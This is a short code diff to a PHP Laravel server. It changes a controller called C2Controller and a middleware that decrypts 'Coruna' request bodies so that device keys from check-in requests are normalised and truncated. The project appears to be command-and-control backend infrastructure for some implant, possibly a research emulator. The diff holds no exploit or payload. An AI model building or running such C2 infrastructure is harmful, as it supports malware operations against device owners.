init

server/app/Http/Controllers/C2/C2Controller.php

@@ -102,9 +102,12 @@ class C2Controller extends Controller
 
     public function check(Request $request): Response
     {
-        $deviceKey = $request->attributes->get('coruna_device_key')
+        $rawKey = $request->attributes->get('coruna_device_key')
             ?: $request->input('d')
             ?: $request->input('f');
+        $deviceKey = is_string($rawKey) && $rawKey !== ''
+            ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
+            : null;
         $device = $this->ingest->upsertDevice(
             $request,
             array_filter([
@@ -112,7 +115,7 @@ class C2Controller extends Controller
                 'c' => $request->input('c'),
                 'channel' => $request->input('channel'),
             ]),
-            $deviceKey ? (string) $deviceKey : null
+            $deviceKey
         );
 
         // Archive password = session_key || batchBaseTimestampString.

server/app/Http/Middleware/DecryptCorunaBody.php

@@ -3,6 +3,7 @@
 namespace App\Http\Middleware;
 
 use App\Services\CorunaCrypto;
+use App\Services\IngestService;
 use Closure;
 use Illuminate\Http\Request;
 use Symfony\Component\HttpFoundation\Response;
@@ -59,6 +60,7 @@ class DecryptCorunaBody
         }
 
         // Device id currently only from d/f (same value in live traffic).
+        // /check multipart may send the hex-ascii + nibble/byte-swapped form.
         if (is_array($payload)) {
             foreach (['d', 'f'] as $k) {
                 if (! empty($payload[$k]) && is_string($payload[$k])) {
@@ -66,6 +68,17 @@ class DecryptCorunaBody
                     break;
                 }
             }
+            if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
+                foreach (['d', 'f'] as $k) {
+                    if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
+                        $deviceKey = $payload['form'][$k];
+                        break;
+                    }
+                }
+            }
+        }
+        if (is_string($deviceKey) && $deviceKey !== '') {
+            $deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
         }
 
         create_log([